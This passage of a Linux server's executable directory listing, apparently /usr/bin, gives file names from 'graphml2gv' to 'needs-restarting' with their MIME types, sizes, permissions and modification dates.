2019-11-06 07:45:54
graphml2gv
application/x-pie-executable
20.65 KB
-rwxr-xr-x
2024-04-06 12:47:15
grep
application/x-pie-executable
193.63 KB
-rwxr-xr-x
2019-10-11 03:15:57
groff
application/x-pie-executable
124.92 KB
-rwxr-xr-x
2019-10-13 02:29:41
grops
application/x-pie-executable
191.14 KB
-rwxr-xr-x
2019-10-13 02:29:41
grotty
application/x-pie-executable
141.9 KB
-rwxr-xr-x
2019-10-13 02:29:41
groups
application/x-pie-executable
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
grub2-editenv
application/x-pie-executable
448.09 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-file
application/x-pie-executable
928.48 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-fstest
application/x-pie-executable
1.15 MB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-glue-efi
application/x-pie-executable
279.36 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-kbdcomp
text/x-shellscript
1.63 KB
-rwxr-xr-x
2025-10-07 08:06:32
grub2-menulst2cfg
application/x-pie-executable
262.64 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkfont
application/x-pie-executable
312.13 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkimage
application/x-pie-executable
431.35 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mklayout
application/x-pie-executable
285.46 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mknetdir
application/x-pie-executable
485.75 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkpasswd-pbkdf2
application/x-pie-executable
291.84 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkrelpath
application/x-pie-executable
279.22 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkrescue
application/x-pie-executable
1.12 MB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-mkstandalone
application/x-pie-executable
594.47 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-render-label
application/x-pie-executable
937.1 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-script-check
application/x-pie-executable
315.96 KB
-rwxr-xr-x
2025-10-07 08:06:34
grub2-syslinux2cfg
application/x-pie-executable
861.53 KB
-rwxr-xr-x
2025-10-07 08:06:34
gs
application/x-pie-executable
12.35 KB
-rwxr-xr-x
2025-06-03 02:48:22
gsettings
application/x-pie-executable
28.61 KB
-rwxr-xr-x
2025-11-04 09:14:07
gsnd
text/x-shellscript
277 B
-rwxr-xr-x
2025-06-03 02:48:11
gsoelim
application/x-pie-executable
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
gss-client
application/x-pie-executable
24.56 KB
-rwxr-xr-x
2025-06-03 02:06:30
gtar
application/x-pie-executable
448.99 KB
-rwxr-xr-x
2025-08-26 08:57:37
gtbl
application/x-pie-executable
154.61 KB
-rwxr-xr-x
2019-10-13 02:29:41
gtk-query-immodules-2.0-64
application/x-pie-executable
16.29 KB
-rwxr-xr-x
2021-04-06 01:52:34
gtk-update-icon-cache
application/x-pie-executable
33.03 KB
-rwxr-xr-x
2024-09-24 02:16:12
gtroff
application/x-pie-executable
805.02 KB
-rwxr-xr-x
2019-10-13 02:29:41
gunzip
text/x-shellscript
2.29 KB
-rwxr-xr-x
2022-04-27 05:49:28
gv2gml
application/x-pie-executable
24.7 KB
-rwxr-xr-x
2024-04-06 12:47:15
gv2gxl
application/x-pie-executable
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
gvcolor
application/x-pie-executable
46.9 KB
-rwxr-xr-x
2024-04-06 12:47:15
gvgen
application/x-pie-executable
24.8 KB
-rwxr-xr-x
2024-04-06 12:47:15
gvmap
application/x-pie-executable
526.31 KB
-rwxr-xr-x
2024-04-06 12:47:15
gvmap.sh
text/x-shellscript
2.14 KB
-rwxr-xr-x
2024-04-06 12:47:07
gvpack
application/x-pie-executable
460.59 KB
-rwxr-xr-x
2024-04-06 12:47:15
gvpr
application/x-pie-executable
7.83 KB
-rwxr-xr-x
2024-04-06 12:47:15
gxl2dot
application/x-pie-executable
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
gxl2gv
application/x-pie-executable
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
gzexe
text/x-shellscript
6.23 KB
-rwxr-xr-x
2022-04-27 05:49:28
gzip
application/x-pie-executable
94.67 KB
-rwxr-xr-x
2022-04-27 05:49:29
h2ph
text/x-perl
28.69 KB
-rwxr-xr-x
2025-07-28 08:08:32
h2xs
text/x-perl
59.44 KB
-rwxr-xr-x
2025-07-28 08:07:09
hash
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
head
application/x-pie-executable
45.58 KB
-rwxr-xr-x
2023-04-01 08:44:39
hexdump
application/x-pie-executable
57.5 KB
-rwxr-xr-x
2024-04-06 01:02:53
hmac256
application/x-pie-executable
16.86 KB
-rwxr-xr-x
2022-06-28 11:54:07
host
application/x-pie-executable
142.29 KB
-rwxr-xr-x
2025-11-06 07:45:52
hostid
application/x-pie-executable
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
hostname
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
hostnamectl
application/x-pie-executable
20.83 KB
-rwxr-xr-x
2025-11-05 09:26:53
htdbm
application/x-pie-executable
31.72 KB
-rwxr-xr-x
2025-12-08 02:49:31
htdigest
application/x-pie-executable
21.71 KB
-rwxr-xr-x
2025-12-08 02:49:31
html2text
text/x-script.python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
htop
application/x-pie-executable
304.73 KB
-rwxr-xr-x
2022-07-21 02:42:05
htpasswd
application/x-pie-executable
31.55 KB
-rwxr-xr-x
2025-12-08 02:49:31
httxt2dbm
application/x-pie-executable
21.1 KB
-rwxr-xr-x
2025-12-08 02:49:31
hunspell
application/x-pie-executable
144.7 KB
-rwxr-xr-x
2019-10-13 08:33:15
i386
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
iceauth
application/x-pie-executable
41.87 KB
-rwxr-xr-x
2019-10-15 01:08:41
iconv
application/x-pie-executable
61.43 KB
-rwxr-xr-x
2025-12-08 09:43:19
id
application/x-pie-executable
45.52 KB
-rwxr-xr-x
2023-04-01 08:44:39
identify
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
idiag-socket-details
application/x-pie-executable
12.09 KB
-rwxr-xr-x
2022-10-08 11:39:40
idle2
text/x-script.python
93 B
-rwxr-xr-x
2024-04-10 04:57:37
idle2.7
text/x-script.python
93 B
-rwxr-xr-x
2024-04-10 04:57:37
idn
application/x-pie-executable
39.41 KB
-rwxr-xr-x
2019-10-13 04:55:35
ifnames
text/x-perl
4.03 KB
-rwxr-xr-x
2024-08-13 07:30:48
iio_event_monitor
application/x-pie-executable
22.98 KB
-rwxr-xr-x
2025-12-08 09:08:32
iio_generic_buffer
application/x-pie-executable
26.98 KB
-rwxr-xr-x
2025-12-08 09:08:32
im360-k8s-syncer
application/x-executable
54.07 MB
-rwxr-xr-x
2025-10-22 02:43:41
import
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
imunify-agent-proxy
application/x-executable
8.64 MB
-rwxr-xr-x
2025-10-22 02:43:40
imunify-antivirus
text/plain
1 KB
-rwxr-xr-x
2025-11-24 10:57:01
imunify-service
text/plain
1020 B
-rwxr-xr-x
2025-11-24 10:57:01
imunify360-agent
text/plain
1 KB
-rwxr-xr-x
2025-11-24 10:57:01
imunify360-command-wrapper
text/plain
9.14 KB
-rwxr-xr-x
2025-11-24 01:18:22
info
application/x-pie-executable
249.89 KB
-rwxr-xr-x
2022-04-18 05:09:26
infocmp
application/x-pie-executable
61.05 KB
-rwxr-xr-x
2023-10-14 06:54:49
infotocap
application/x-pie-executable
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
initdb
application/x-pie-executable
143.56 KB
-rwxr-xr-x
2024-02-27 08:25:00
innochecksum
application/x-pie-executable
3.59 MB
-rwxr-xr-x
2025-10-25 05:49:50
install
application/x-pie-executable
156.25 KB
-rwxr-xr-x
2023-04-01 08:44:39
instmodsh
text/x-perl
4.1 KB
-rwxr-xr-x
2019-10-13 08:55:21
intel-speed-select
application/x-pie-executable
93.02 KB
-rwxr-xr-x
2025-12-08 09:08:32
ionice
application/x-pie-executable
28.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
iostat
application/x-pie-executable
57.69 KB
-rwxr-xr-x
2024-07-03 09:57:26
ipcalc
application/x-pie-executable
46.08 KB
-rwxr-xr-x
2020-05-31 07:39:31
ipcmk
application/x-pie-executable
29.14 KB
-rwxr-xr-x
2024-04-06 01:02:53
ipcrm
application/x-pie-executable
28.99 KB
-rwxr-xr-x
2024-04-06 01:02:53
ipcs
application/x-pie-executable
53.39 KB
-rwxr-xr-x
2024-04-06 01:02:53
isc-config.sh
text/x-shellscript
3.33 KB
-rwxr-xr-x
2025-11-06 07:45:46
isosize
application/x-pie-executable
24.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
ispell
text/x-shellscript
988 B
-rwxr-xr-x
2022-04-18 03:10:51
isql
application/x-pie-executable
37.29 KB
-rwxr-xr-x
2019-10-14 09:51:19
iusql
application/x-pie-executable
29.68 KB
-rwxr-xr-x
2019-10-14 09:51:19
jobs
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
join
application/x-pie-executable
53.77 KB
-rwxr-xr-x
2023-04-01 08:44:39
journalctl
application/x-pie-executable
76.99 KB
-rwxr-xr-x
2025-11-05 09:26:54
json_pp
text/x-perl
4.19 KB
-rwxr-xr-x
2019-10-14 12:12:07
json_reformat
application/x-pie-executable
16.55 KB
-rwxr-xr-x
2023-10-14 01:17:20
json_verify
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2023-10-14 01:17:20
json_xs
text/x-perl
6.84 KB
-rwxr-xr-x
2025-10-03 07:13:30
kbd_mode
application/x-pie-executable
12.55 KB
-rwxr-xr-x
2023-10-14 09:01:01
kbdinfo
application/x-pie-executable
16.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
kbdrate
application/x-pie-executable
16.45 KB
-rwxr-xr-x
2023-10-14 09:01:01
kcare-scanner-interface
text/x-shellscript
4.67 KB
-rwxr-xr-x
2025-11-04 07:36:42
kcare-uname
text/x-shellscript
582 B
-rwxr-xr-x
2025-11-04 07:36:42
kcarectl
text/x-shellscript
1.21 KB
-rwxr-xr-x
2025-11-04 07:36:42
kdumpctl
text/x-shellscript
32.93 KB
-rwxr-xr-x
2024-09-24 08:36:00
kernel-install
text/x-shellscript
4.41 KB
-rwxr-xr-x
2018-06-22 11:11:49
keyctl
application/x-pie-executable
36.82 KB
-rwxr-xr-x
2021-10-08 01:50:55
kill
application/x-pie-executable
37.27 KB
-rwxr-xr-x
2024-04-06 01:02:53
killall
application/x-pie-executable
29.77 KB
-rwxr-xr-x
2020-11-06 02:24:16
kmod
application/x-pie-executable
159.95 KB
-rwxr-xr-x
2024-04-08 09:18:53
krb5-config
text/x-shellscript
6.98 KB
-rwxr-xr-x
2025-06-03 02:06:28
kvm_stat
text/plain
60.85 KB
-rwxr-xr-x
2025-11-29 05:10:44
last
application/x-pie-executable
49.23 KB
-rwxr-xr-x
2024-04-06 01:02:53
lastb
application/x-pie-executable
49.23 KB
-rwxr-xr-x
2024-04-06 01:02:53
lastlog
application/x-pie-executable
20.62 KB
-rwxr-xr-x
2024-04-06 02:00:13
lchfn
application/x-pie-executable
20.35 KB
-rwxr-xr-x
2024-09-24 02:24:38
lchsh
application/x-pie-executable
16.35 KB
-rwxr-xr-x
2024-09-24 02:24:38
ld
application/x-pie-executable
1.71 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.bfd
application/x-pie-executable
1.71 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.gold
application/x-pie-executable
2.35 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.so
application/x-pie-executable
1.05 MB
-rwxr-xr-x
2025-12-08 09:43:32
ldd
text/x-shellscript
5.31 KB
-rwxr-xr-x
2025-12-08 09:36:51
lefty
application/x-pie-executable
304.52 KB
-rwxr-xr-x
2024-04-06 12:47:15
less
application/x-pie-executable
173.76 KB
-rwxr-xr-x
2024-07-02 08:10:37
lessecho
application/x-pie-executable
12.4 KB
-rwxr-xr-x
2024-07-02 08:10:37
lesskey
application/x-pie-executable
21.99 KB
-rwxr-xr-x
2024-07-02 08:10:37
lesspipe.sh
text/x-shellscript
3.07 KB
-rwxr-xr-x
2024-07-02 07:57:10
lex
application/x-pie-executable
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
lexgrog
application/x-pie-executable
93.7 KB
-rwxr-xr-x
2021-10-08 01:04:46
libcare-cron
text/x-shellscript
1.07 KB
-rwxr-xr-x
2025-11-04 07:36:42
libgcrypt-config
text/x-shellscript
3.84 KB
-rwxr-xr-x
2022-06-28 11:54:07
libnetcfg
text/x-perl
15.41 KB
-rwxr-xr-x
2025-07-28 08:08:32
libpng-config
text/x-shellscript
2.33 KB
-rwxr-xr-x
2019-10-12 12:44:13
libpng16-config
text/x-shellscript
2.33 KB
-rwxr-xr-x
2019-10-12 12:44:13
libtool
text/x-shellscript
359.11 KB
-rwxr-xr-x
2019-10-11 02:55:28
libtoolize
text/x-shellscript
126.17 KB
-rwxr-xr-x
2019-10-11 02:55:28
libwmf-fontmap
text/x-shellscript
13.03 KB
-rwxr-xr-x
2019-10-14 03:47:01
link
application/x-pie-executable
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
linux-boot-prober
text/x-shellscript
5.85 KB
-rwxr-xr-x
2021-10-09 02:56:52
linux32
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
linux64
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
ln
application/x-pie-executable
70.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
lnav
application/x-pie-executable
3.57 MB
-rwxr-xr-x
2020-10-23 08:26:04
lneato
text/x-shellscript
1.51 KB
-rwxr-xr-x
2024-04-06 12:47:07
loadkeys
application/x-pie-executable
210.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
loadunimap
application/x-pie-executable
29.03 KB
-rwxr-xr-x
2023-10-14 09:01:01
locale
application/x-pie-executable
56.45 KB
-rwxr-xr-x
2025-12-08 09:43:19
localectl
application/x-pie-executable
28.86 KB
-rwxr-xr-x
2025-11-05 09:26:54
localedef
application/x-pie-executable
307.47 KB
-rwxr-xr-x
2025-12-08 09:43:19
logger
application/x-pie-executable
49.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
login
application/x-pie-executable
40.96 KB
-rwxr-xr-x
2024-04-06 01:02:53
loginctl
application/x-pie-executable
57.28 KB
-rwxr-xr-x
2025-11-05 09:26:54
logname
application/x-pie-executable
33.42 KB
-rwxr-xr-x
2023-04-01 08:44:39
logresolve
application/x-pie-executable
21.45 KB
-rwxr-xr-x
2025-12-08 02:49:31
look
application/x-pie-executable
16.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
ls
application/x-pie-executable
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
lsattr
application/x-pie-executable
11.93 KB
-rwxr-xr-x
2025-10-07 07:08:06
lsblk
application/x-pie-executable
90.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
lscpu
application/x-pie-executable
81.7 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsgpio
application/x-pie-executable
15.06 KB
-rwxr-xr-x
2025-12-08 09:08:32
lsiio
application/x-pie-executable
22.98 KB
-rwxr-xr-x
2025-12-08 09:08:32
lsinitrd
text/x-shellscript
8.68 KB
-rwxr-xr-x
2025-07-15 09:09:28
lsipc
application/x-pie-executable
73.74 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslocks
application/x-pie-executable
37.53 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslogins
application/x-pie-executable
65.6 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsmem
application/x-pie-executable
45.34 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsns
application/x-pie-executable
49.28 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsof
application/x-pie-executable
175.4 KB
-rwxr-xr-x
2020-08-15 09:59:43
lsphp
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
lsscsi
application/x-pie-executable
86.01 KB
-rwxr-xr-x
2021-10-09 05:12:29
lua
application/x-pie-executable
20.45 KB
-rwxr-xr-x
2021-10-09 05:14:37
luac
application/x-pie-executable
152.77 KB
-rwxr-xr-x
2021-10-09 05:14:37
lwp-download
text/x-perl
10.05 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-dump
text/x-perl
2.65 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-mirror
text/x-perl
2.36 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-request
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
lynx
application/x-pie-executable
1.84 MB
-rwxr-xr-x
2022-04-18 09:01:05
lzcat
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzma
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmadec
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmainfo
application/x-pie-executable
12.36 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
m4
application/x-pie-executable
185.56 KB
-rwxr-xr-x
2019-10-11 02:41:40
mail
application/x-pie-executable
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
mailx
application/x-pie-executable
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
make
application/x-pie-executable
235.32 KB
-rwxr-xr-x
2022-04-18 04:38:34
make-dummy-cert
text/x-shellscript
610 B
-rwxr-xr-x
2024-10-09 01:39:22
makedb
application/x-pie-executable
24.84 KB
-rwxr-xr-x
2025-12-08 09:43:19
man
application/x-pie-executable
112.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
mandb
application/x-pie-executable
134.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
manpath
application/x-pie-executable
33.42 KB
-rwxr-xr-x
2021-10-08 01:04:46
mapscrn
application/x-pie-executable
24.84 KB
-rwxr-xr-x
2023-10-14 09:01:01
mariadb
application/x-pie-executable
4.34 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-access
text/x-perl
109.34 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-admin
application/x-pie-executable
3.88 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-binlog
application/x-pie-executable
4.14 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-check
application/x-pie-executable
3.88 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-config
application/x-pie-executable
12.2 KB
-rwxr-xr-x
2025-10-25 05:48:27
mariadb-conv
application/x-pie-executable
3.59 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-convert-table-format
text/x-perl
4.12 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-dump
application/x-pie-executable
3.96 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-dumpslow
text/x-perl
8.05 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-embedded
application/x-pie-executable
22.59 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-find-rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-fix-extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-10-25 05:42:16
mariadb-hotcopy
text/x-perl
34.15 KB
-rwxr-xr-x
2025-10-25 05:42:16
mariadb-import
application/x-pie-executable
3.87 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-install-db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-plugin
application/x-pie-executable
3.57 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-secure-installation
text/x-shellscript
13.49 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-service-convert
text/x-shellscript
2.45 KB
-rwxr-xr-x
2025-10-25 05:19:59
mariadb-setpermission
text/x-perl
17.56 KB
-rwxr-xr-x
2025-10-25 05:42:15
mariadb-show
application/x-pie-executable
3.87 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-slap
application/x-pie-executable
3.89 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-tzinfo-to-sql
application/x-pie-executable
3.57 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb-upgrade
application/x-pie-executable
4 MB
-rwxr-xr-x
2025-10-25 05:49:50
mariadb-waitpid
application/x-pie-executable
3.55 MB
-rwxr-xr-x
2025-10-25 05:47:59
mariadb_config
application/x-pie-executable
12.2 KB
-rwxr-xr-x
2025-10-25 05:48:27
mariadbd-multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-10-25 05:42:16
mariadbd-safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-10-25 05:42:16
mariadbd-safe-helper
application/x-pie-executable
3.52 MB
-rwxr-xr-x
2025-10-25 05:49:50
mc
application/x-pie-executable
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcdiff
application/x-pie-executable
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcedit
application/x-pie-executable
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcookie
application/x-pie-executable
33.26 KB
-rwxr-xr-x
2024-04-06 01:02:53
mcpp
application/x-pie-executable
9.02 KB
-rwxr-xr-x
2019-10-14 03:45:04
mcview
application/x-pie-executable
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
md5sum
application/x-pie-executable
45.62 KB
-rwxr-xr-x
2023-04-01 08:44:39
mdig
application/x-pie-executable
48.52 KB
-rwxr-xr-x
2025-11-06 07:45:52
memstrack
application/x-pie-executable
83.78 KB
-rwxr-xr-x
2023-10-15 04:56:34
mesg
application/x-pie-executable
16.36 KB
-rwxr-xr-x
2024-04-06 01:02:53
mkdir
application/x-pie-executable
82.79 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfifo
application/x-pie-executable
66.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfontdir
text/x-shellscript
65 B
-rwxr-xr-x
2021-10-09 11:42:24
mkfontscale
application/x-pie-executable
41.59 KB
-rwxr-xr-x
2021-10-09 11:42:47
mkinitrd
text/x-shellscript
6.43 KB
-rwxr-xr-x
2025-07-15 09:09:28
mknod
application/x-pie-executable
70.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
mktemp
application/x-pie-executable
45.73 KB
-rwxr-xr-x
2023-04-01 08:44:39
mm2gv
application/x-pie-executable
90.53 KB
-rwxr-xr-x
2024-04-06 12:47:15
mmdblookup
application/x-pie-executable
16.74 KB
-rwxr-xr-x
2024-02-12 02:30:34
modulecmd
text/plain
384.75 KB
-rwxr-xr-x
2023-10-14 06:46:13
modulemd-validator
application/x-pie-executable
24.96 KB
-rwxr-xr-x
2021-10-09 01:37:57
modutil
application/x-pie-executable
177.43 KB
-rwxr-xr-x
2025-09-09 01:57:06
mogrify
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
montage
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
more
application/x-pie-executable
44.94 KB
-rwxr-xr-x
2024-04-06 01:02:53
mount
application/x-pie-executable
49.15 KB
-rwsr-xr-x
2024-04-06 01:02:53
mountpoint
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
mpicalc
application/x-pie-executable
20.38 KB
-rwxr-xr-x
2022-06-28 11:54:07
mpstat
application/x-pie-executable
53.51 KB
-rwxr-xr-x
2024-07-03 09:57:26
msgattrib
application/x-pie-executable
25.58 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcat
application/x-pie-executable
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcmp
application/x-pie-executable
26.12 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcomm
application/x-pie-executable
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgconv
application/x-pie-executable
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgen
application/x-pie-executable
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgexec
application/x-pie-executable
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfilter
application/x-pie-executable
34.53 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt
application/x-pie-executable
90.3 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt2.7.py
text/x-script.python
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msgfmt2.py
text/x-script.python
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msggrep
application/x-pie-executable
43.6 KB
-rwxr-xr-x
2019-11-18 05:17:29
msginit
application/x-pie-executable
67.85 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgmerge
application/x-pie-executable
71.48 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgunfmt
application/x-pie-executable
35.8 KB
-rwxr-xr-x
2019-11-18 05:17:29
msguniq
application/x-pie-executable
25.56 KB
-rwxr-xr-x
2019-11-18 05:17:29
msql2mysql
text/x-shellscript
1.41 KB
-rwxr-xr-x
2025-10-25 05:42:15
multitail
application/x-executable
329.2 KB
-rwxr-xr-x
2020-01-06 10:32:41
mv
application/x-pie-executable
144.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
my_print_defaults
application/x-pie-executable
3.56 MB
-rwxr-xr-x
2025-10-25 05:47:59
myisam_ftdump
application/x-pie-executable
3.89 MB
-rwxr-xr-x
2025-10-25 05:49:49
myisamchk
application/x-pie-executable
4.01 MB
-rwxr-xr-x
2025-10-25 05:49:50
myisamlog
application/x-pie-executable
3.87 MB
-rwxr-xr-x
2025-10-25 05:49:49
myisampack
application/x-pie-executable
3.91 MB
-rwxr-xr-x
2025-10-25 05:49:49
mysql
application/x-pie-executable
4.34 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysql_config
text/x-shellscript
4.51 KB
-rwxr-xr-x
2025-10-25 05:42:16
mysql_embedded
application/x-pie-executable
22.59 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysql_find_rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-10-25 05:42:15
mysql_fix_extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-10-25 05:42:16
mysql_install_db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-10-25 05:42:15
mysql_plugin
application/x-pie-executable
3.57 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysql_tzinfo_to_sql
application/x-pie-executable
3.57 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysql_upgrade
application/x-pie-executable
4 MB
-rwxr-xr-x
2025-10-25 05:49:50
mysql_waitpid
application/x-pie-executable
3.55 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlaccess
text/x-perl
109.34 KB
-rwxr-xr-x
2025-10-25 05:42:15
mysqladmin
application/x-pie-executable
3.88 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlbinlog
application/x-pie-executable
4.14 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlcheck
application/x-pie-executable
3.88 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqld_multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-10-25 05:42:16
mysqld_safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-10-25 05:42:16
mysqld_safe_helper
application/x-pie-executable
3.52 MB
-rwxr-xr-x
2025-10-25 05:49:50
mysqldump
application/x-pie-executable
3.96 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlimport
application/x-pie-executable
3.87 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlshow
application/x-pie-executable
3.87 MB
-rwxr-xr-x
2025-10-25 05:47:59
mysqlslap
application/x-pie-executable
3.89 MB
-rwxr-xr-x
2025-10-25 05:47:59
mytop
text/x-perl
71.95 KB
-rwxr-xr-x
2025-10-25 05:42:16
nail
application/x-pie-executable
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
named-rrchecker
application/x-pie-executable
19.88 KB
-rwxr-xr-x
2025-11-06 07:45:52
namei
application/x-pie-executable
33.1 KB
-rwxr-xr-x
2024-04-06 01:02:53
nano
application/x-pie-executable
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
nc
application/x-pie-executable
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
ncdu
application/x-pie-executable
89.88 KB
-rwxr-xr-x
2025-03-08 07:44:19
ncurses6-config
text/x-shellscript
5.87 KB
-rwxr-xr-x
2023-10-14 06:54:41
ncursesw6-config
text/x-shellscript
5.88 KB
-rwxr-xr-x
2023-10-14 06:54:41
ndptool
application/x-pie-executable
24.45 KB
-rwxr-xr-x
2024-07-19 07:04:25
neato
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
needs-restarting
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
